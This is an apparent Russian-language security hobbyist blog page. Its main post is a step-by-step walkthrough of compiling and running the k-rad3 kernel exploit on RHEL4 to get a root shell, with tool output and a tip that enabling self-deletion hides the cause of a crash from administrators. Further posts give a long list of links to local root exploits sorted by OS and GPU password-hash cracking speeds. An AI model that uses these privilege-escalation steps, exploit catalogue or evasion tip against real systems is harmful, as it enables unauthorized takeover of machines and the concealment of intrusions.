воскресенье, 4 января 2009 г.

k-rad3 - RHEL4(2.6.9-5.EL)

Для тестирования эксплоита k-rad3.c я установил на виртуальную машину VMWare RHEL4.

После командами

groupadd oinstall 
groupadd dba #создал 2 группы

useradd -g oinstall -G dba oracle #добавил пользователя

passwd oracle #назначил ему пароль.

Далее сохраняем станицу http://www.milw0rm.com/exploits/1397 в файл k-rad3.c в домашнем каталоге /home/oracle.

Если внимательно прочесть комментарии, то можно увидеть, что:

if OS in vmware , idtr.base is not right, please fix it
  * [alert7@MagicLinux ~]$ cat /boot/System.map|grep idt_table
  * c0461000 D idt_table

В моем случае, с зашел в каталог /boot, затем

[oracle@RHEL4 boot]$ ls System*
System.map-2.6.9-5.EL


cat /boot/System.map-2.6.9-5.EL|grep idt_table

c03cc000 D idt_table

Теперь перед строкой
 
 printf("[+] idtr.base %p ,base %p\n",(void *)idtr.base , (void *)kernelbase);

нужно раскомментировать и прописать строку idtr.base = 0xc03cc000;

После этого сохраняем изменения в файле k-rad3.c и компилируем его с опциями:

gcc -o k-rad3 k-rad3.c -static -O2

k-rad3.c:730:28: warning: no newline at end of file

и в домашнем каталоге появляется исполняемый файл k-rad3.

-rwxr-xr-x 1 oracle oinstall 464146 Jan 4 18:38 k-rad3

Если запустить без указания параметров, то

[oracle@RHEL4 ~]$ ./k-rad3
[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd ]
[ Modified 2005/9 by alert7 ]
[+] try open /proc/cpuinfo .. ok!!
[+] find cpu flag pse in /proc/cpuinfo
[+] CONFIG_X86_PAE :none
[+] Cpu flag: pse ok
[+] Exploit Way : 0
[+] Use 1 pages (one page is 4K ),rewrite 0xc0000000--(0xc0001000 + n)
[+] thread_size 0 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
[+] idtr.base 0xc03cc000 ,base 0xc0000000
[+] kwrite base 0xc0000000, buf 0xbff2dda0,num 4100
[+] idt[0x7f] addr 0xffc003f8
[-] y3r 422 12 n07 3r337 3nuPh!
[*] Try increase nrpages?

и рута мы не получим. Еще раз обращаемся к комментариям:

и запускаем с параметром ./k-rad3 -p 2

[oracle@RHEL4 ~]$ ./k-rad3 -p 2
[ k-rad3 - <=linux 2.6.11 CPL 0 kernel exploit ]
[ Discovered Jan 2005 by sd ]
[ Modified 2005/9 by alert7 ]
[+] try open /proc/cpuinfo .. ok!!
[+] find cpu flag pse in /proc/cpuinfo
[+] CONFIG_X86_PAE :none
[+] Cpu flag: pse ok
[+] Exploit Way : 0
[+] Use 2 pages (one page is 4K ),rewrite 0xc0000000--(0xc0002000 + n)
[+] thread_size 0 (0 :THREAD_SIZE is 4096;otherwise THREAD_SIZE is 8192
[+] idtr.base 0xc03cc000 ,base 0xc0000000
[+] kwrite base 0xc0000000, buf 0xbff9ea80,num 8196
[+] idt[0x7f] addr 0xffc003f8
[+] j00 1u(k7 k1d!

[root@k-rad3 oracle]# id

uid=0(root) gid=0(root) groups=500(oinstall),501(dba)

После того как получили рута, проверяем права на файл и видим, что

-rwsr-sr-x 1 root oinstall 464146 Jan 4 18:38 k-rad3

Необходимые условия для того чтобы сплойт сработал:

- ядро уязвимой версии; 
- карма на +10 (спойт часто весит систему, вызывает kernel panic или просто не работает).

примечание:

/* unlink(argv[0]); */
// sync();

в тексте сплойта эти строки написаны не спроста. Если их раскомментировать то после запуска исполняемый файл удалится. В том случае если система повиснет, администратору машины будет сложнее определить источник сбоя.

Описание работы сполйта (очень примерное):

- проверяет на то, запустились ли мы благодаря suid'ному биту из под рута; 
- если да, то изменяет UID и GID владельца процесса на 0 и запускает shell; 
- используя возможность перезаписывать память ядра, перезаписывает указатель на обработчик прерывания 0x7f; 
- вызывает прерывание 0x7f при этом в нулевом кольце вызывается функция, которая ставит процессу сплойта uid,euid,gid,egid в 0 и очищает указатель на обработчик прерывания 0x7f (чтоб никто больше им не воспользовался) ставит программе-сплойту на диске суидный бит и владельца рута; 
Запускает шелл, он запускается с uid=0 и gid=0.

Часть информации было взято с сайта - http://www.hackerdom.ru/Seminar/20072008/LinuxKernelExploits.

A nice list of root exploits and working links

Пользуясь случаем хочу продублировать страницу (http://indounderground.wordpress.com/2008/06/14/a-nice-list-of-root-exploits-and-working-links/) и сохранить у себя этот замечательный список.

Здесь представлен список эксплоитов которые позволяют получить привилегии root.

Список разбит по операционным системам (Linux, BSD, Solaris). 

Linux

Common

Linux 2.2.x ->Linux kernel ptrace/kmod local root exploit (http://milw0rm.com/exploits/3)

Linux 2.2.x (on exported files, should be vuln) (http://milw0rm.com/exploits/718)

Linux <= 2.2.25 ->Linux Kernel 2.x mremap missing do_munmap Exploit (http://milw0rm.com/exploits/160)

Linux 2.4.x ->Linux kernel ptrace/kmod local root exploit (http://milw0rm.com/exploits/3)

Linux 2.4.x -> pwned.c - Linux 2.4 and 2.6 sys_uselib local root exploit (http://milw0rm.com/exploits/895)

Linux 2.4.x ->Linux kernel 2.4 uselib() privilege elevation exploit (http://milw0rm.com/exploits/778)

Linux 2.4.20 ->Linux Kernel Module Loader Local R00t Exploit (http://milw0rm.com/exploits/12)

Linux <= 2.4.22 ->Linux Kernel <= 2.4.22 (do_brk) Local Root Exploit (http://milw0rm.com/exploits/131) Linux 2.4.22 ->Linux Kernel 2.4.22 “do_brk()” local Root Exploit (PoC) (http://milw0rm.com/exploits/129)

Linux <= 2.4.24 ->Linux Kernel 2.x mremap missing do_munmap Exploit (http://milw0rm.com/exploits/160)

Linux 2.4.x <>Linux Kernel 2.x mremap missing do_munmap Exploit (http://milw0rm.com/exploits/160)

Linux 2.6.11 -> Linux Kernel <= 2.6.11 (CPL 0) Local Root Exploit (k-rad3.c) (http://milw0rm.com/exploits/1397)

Linux 2.6.13 <= 2.6.17.4 -> Linux Kernel 2.6.13 <= 2.6.17.4 prctl() Local Root Exploit (logrotate) (http://milw0rm.com/exploits/2031)

Linux 2.6.13 <= 2.6.17.4 -> Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (http://milw0rm.com/exploits/2011)

Linux 2.6.11 <= 2.6.17.4 -> h00lyshit.c -Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit (http://milw0rm.com/exploits/2013) Linux 2.6.x <> pwned.c - Linux 2.4 and 2.6 sys_uselib local root exploit (http://milw0rm.com/exploits/895)


Debian

Debian 2.2 ->/usr/bin/pileup Local Root Exploit (http://milw0rm.com/exploits/1170)

Ubuntu

Ubuntu Breezy 5.10 Installer Password Disclosure Vulnerability (http://milw0rm.com/exploits/1579)

Slackware

Slackware 7.1 ->/usr/bin/Mail Exploit (http://milw0rm.com/exploits/285)

Mandrake

Mandrake 8.2 -> /usr/mail local exploit (http://milw0rm.com/exploits/40)
Mandrake <= 10.2 -> cdrdao Local Root Exploit (http://milw0rm.com/exploits/997)

Suse

SuSE Linux 9.1 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)
SuSE Linux 9.2 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)
SuSE Linux 9.3 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)
SuSE Linux 10.0 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)
SuSE Linux Enterprise Server 8 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)
SuSE Linux Enterprise Server 9 -> ‘chfn’ local root bug (http://milw0rm.com/exploits/1299)

BSD

Freebsd

Freebsd 3.5.1 ->Ports package local root (http://milw0rm.com/exploits/286)
Freebsd 4.2 ->Ports package local root (http://milw0rm.com/exploits/286)
FreeBSD 4.x <= 5.4) master.passwd Disclosure Exploit (http://milw0rm.com/exploits/1311) Openbsd Openbsd 2.x - 3.3 ->exec_ibcs2_coff_prep_zmagic() Kernel Exploit (http://milw0rm.com/exploits/125)
OpenBSD 3.x-4.0 ->vga_ioctl() root exploit (http://milw0rm.com/exploits/3094)

Sun-Microsystems

Solaris

Solaris 2.4 ->lion24.c (http://milw0rm.com/exploits/328)
Solaris 2.6 with 107733-10 and without 107733-11 (http://milw0rm.com/exploits/1182)
Solaris 2.6 with 107733-10 and without 107733-11 (http://milw0rm.com/exploits/1182)
Solaris 5.5.1 ->X11R6.3 xterm (http://milw0rm.com/exploits/338)
Solaris 7 with 106950-14 through 106950-22 and without 106950-23 (http://milw0rm.com/exploits/1182)
Solaris 7 with 106950-14 through 106950-22 and without 106950-23 (http://milw0rm.com/exploits/1182)
Solaris 7 without patch 107178-03 (http://milw0rm.com/exploits/714)
Solaris 7 without patch 107178-03 (http://milw0rm.com/exploits/713)
Solaris 8 without patch 108949-08 (http://milw0rm.com/exploits/713)
Solaris 8 without patch 108949-08 (http://milw0rm.com/exploits/714)
Solaris 8 with 109147-07 through 109147-24 and without 109147-25 (http://milw0rm.com/exploits/1182)
Solaris 8 with 108993-14 through 108993-31 and without 108993-32 (http://milw0rm.com/exploits/715)
Solaris 8 with 109147-07 through 109147-24 and without 109147-25 (http://milw0rm.com/exploits/1182)
Solaris 8 with 108993-14 through 108993-31 and without 108993-32 (http://milw0rm.com/exploits/715)
Solaris 9 without patch 116308-01 (http://milw0rm.com/exploits/714)
Solaris 9 without patch 116308-01 (http://milw0rm.com/exploits/713)
Solaris 9 without 113476-11 (http://milw0rm.com/exploits/715)
Solaris 9 without 112963-09 (http://milw0rm.com/exploits/1182)
Solaris 9 without 113476-11 (http://milw0rm.com/exploits/715)
Solaris 9 without 112963-09 (http://milw0rm.com/exploits/1182)
Solaris 10 (libnspr) Arbitrary File Creation Local Root Exploit (http://milw0rm.com/exploits/2543)
Solaris 10 (libnspr) constructor Local Root Exploit (http://milw0rm.com/exploits/2641)

SunOS

SunOS 5.10 Generic i86pc i386 i86pc (http://milw0rm.com/exploits/1073)
SunOS 5.9 Generic_112233-12 sun4u (http://milw0rm.com/exploits/1073)

Приобрел Extreme GPU Bruteforcer

На этих праздниках купил лицензию на Extreme GPU Bruteforcer (http://www.insidepro.com/rus/egb.shtml) . Сокращенно программа называется EGB. Используя технологию Cuda 2.0 EGB восстановливает пароли к хэшам используя мощности видеопроцессора (GPU). Так как софт Shareware, то по-умолчанию EGB работает 3 минуты :( Но даже за это время мне удалось подобрать пароль от MD5 хеша к тестовому слову hello. Загрузка CPU в это время составляла 30 %. Постепенно переходим от лирики к практике. Итак, утилита GetDeviceInfo.exe отображает следующие результаты.

Device #1:
Device name: GeForce 9800 GTX/9800 GTX+
Warp size: 32
Clock rate, MHz: 1836
Major revision number: 1
Minor revision number: 1
Number of multiprocessors on the device: 16
Maximum number of threads per block: 512
Maximum sizes of each dimension of a block: 512 x 512 x 64
Maximum sizes of each dimension of a grid: 65535 x 65535 x 1
Total amount of global memory, bytes: 536543232
Total amount of constant memory, bytes: 65536
Total amount of shared memory per block, bytes: 16384
Total number of registers available per block: 8192
Maximum memory pitch, bytes: 262144
Texture alignment, bytes: 256
Device overlap: 1

Текущая версия Extreme GPU Bruteforcer - v1.4.1.

Далее привожу среднюю скорость подбора паролей используя
NVIDIA GeForce 9800 GTX/9800 GTX+.

1) MD5 - 387.02M p/s.

2) MD4 - 564.40M p/s.

3) MySQL (4 <=) - 1005.66M p/s.

4) MySQL5 - 52.38M p/s.

5) NTLM - 442.37M p/s.

6) DES(Unix) - 0.11M p/s.

7) SHA-1 - 98.48M p/s.

Список используемых алгоритмов можно посмотреть тут (https://forum.antichat.ru/printthread.php?t=61277).

С Новым Годом!

Дорогие друзья!

Поздравляю всех вас с прошедшим Новым Годом. Пусть этот год будет для вас счастливее, удачливее, чем предыдущий. Пусть мечты сбудутся, а планы смогут реализоваться этом году. Новый Год это некоторый рубеж, отметка, даже если мы её и не видим. Я хочу, чтобы ваша работа, хобби, увлечение приносят вам радость и удовлетворение. Удачи Вам. Все будет хорошо :)